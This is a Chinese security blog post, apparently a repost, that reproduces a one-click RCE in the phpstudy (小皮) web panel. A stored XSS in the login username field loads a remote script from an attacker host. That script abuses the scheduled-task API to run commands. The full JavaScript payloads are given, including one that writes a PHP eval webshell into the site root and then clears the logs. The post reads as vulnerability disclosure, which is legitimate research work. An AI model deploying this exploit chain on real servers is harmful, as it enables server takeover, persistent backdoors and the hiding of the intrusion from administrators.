phpstudy 小皮web面板 RCE漏洞

admin 2023年2月8日08:52:45评论203 views字数 2145阅读7分9秒阅读模式

一、漏洞描述

最近爆出phpstudy 小皮面板存在RCE漏洞,通过分析和复现发现本质上是一个存储型的XSS漏洞导致的RCE。这是一个很简单的1click的RCE,通过系统登录用户名输入处的XSS配合系统后台自动添加计划任务来实现RCE。

二、漏洞复现

首先在官网下载最新的小皮windows面板安装程序

phpstudy 小皮web面板 RCE漏洞

在本地进行安装

phpstudy 小皮web面板 RCE漏洞

安装完成之后会弹出访问地址,如下

phpstudy 小皮web面板 RCE漏洞

访问系统登录面板,页面显示如下

phpstudy 小皮web面板 RCE漏洞

首先在用户名登录的地方插入弹窗的xss代码验证是否存在漏洞

phpstudy 小皮web面板 RCE漏洞

然后再用管理员账号登录系统

phpstudy 小皮web面板 RCE漏洞

可以看到确实触发弹窗了,这是因为整个系统在加载的时候会读取操作日志的内容,因为刚才已经插入了弹窗的xss代码,所以这里执行显示了

phpstudy 小皮web面板 RCE漏洞

紧接着该系统的后台有一个计划任务功能,其中可以执行系统命令,所以结合登录处的XSS漏洞可以通过写入计划任务来达到命令执行的目的。具体步骤如下

在vps上部署我们需要插入的js文件,内容显示如下(在服务器的www目录下写入验证txt文件)

phpstudy 小皮web面板 RCE漏洞

function poc(){  $.get('/service/app/tasks.php?type=task_list',{},function(data){    var id=data.data[0].ID;    $.post('/service/app/tasks.php?type=exec_task',{      tid:id    },function(res){      $.post('/service/app/tasks.php?type=set_task_status',{        task_id:id,        status:0      },function(res1){        $.post('/service/app/tasks.php?type=set_task_status',{          task_id:id,          status:0        },function(res2){          $.post("/service/app/log.php?type=clearlog",{            type:"clearlog"          },function(res3){},"json");        },"json");      },"json");    },"json");  },"json");}function save(){  var data=new Object();  data.task_id="";  data.title="test";  data.exec_cycle="1";  data.week="1";  data.day="3";  data.hour="13";  data.minute = "51";  data.shell="echo swzaq >D:/phpstudyweb/xp.cn/www/1.txt";  $.post('/service/app/tasks.php?type=save_shell',data,function(res){    poc();  },'json');}save();
这里的hour代表时,minute代表分

PS:这里需要清空日志,避免重复触发,不然很容易把真实环境搞崩

然后在登陆的用户名处插入如下代码

<script src=http://10.1.120.231:8000/poc.js></script>

phpstudy 小皮web面板 RCE漏洞

只要管理员登录到系统,我们插入的xss代码即可写入计划任务并执行,通过计划任务就可以在服务器上写入文件

phpstudy 小皮web面板 RCE漏洞

因为小皮面板这个运维系统类似于宝塔,所以其中会部署网站

phpstudy 小皮web面板 RCE漏洞

这里写入webshell的话可以向网站目录下写,如

D:phpstudywebxp.cnwwwwwwrootadminlocalhost_80wwwroot

将上面的poc改造如下

function poc(){  $.get('/service/app/tasks.php?type=task_list',{},function(data){    var id=data.data[0].ID;    $.post('/service/app/tasks.php?type=exec_task',{      tid:id    },function(res2){        $.post('/service/app/log.php?type=clearlog',{                    },function(res3){},"json");                  },"json");  },"json");}function save(){  var data=new Object();  data.task_id="";  data.title="test";  data.exec_cycle="1";  data.week="1";  data.day="3";  data.hour="14";  data.minute = "20";  data.shell='echo "<?php @eval($_POST[123]);?>" >D:/phpstudyweb/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';  $.post('/service/app/tasks.php?type=save_shell',data,function(res){    poc();  },'json');}save();

phpstudy 小皮web面板 RCE漏洞

执行完成之后可以看到写入php文件成功了

phpstudy 小皮web面板 RCE漏洞

用蚁剑测试连接

phpstudy 小皮web面板 RCE漏洞

原文始发于微信公众号(守卫者安全):phpstudy 小皮web面板 RCE漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月8日08:52:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   phpstudy 小皮web面板 RCE漏洞https://cn-sec.com/archives/1539334.html

发表评论

匿名网友 填写信息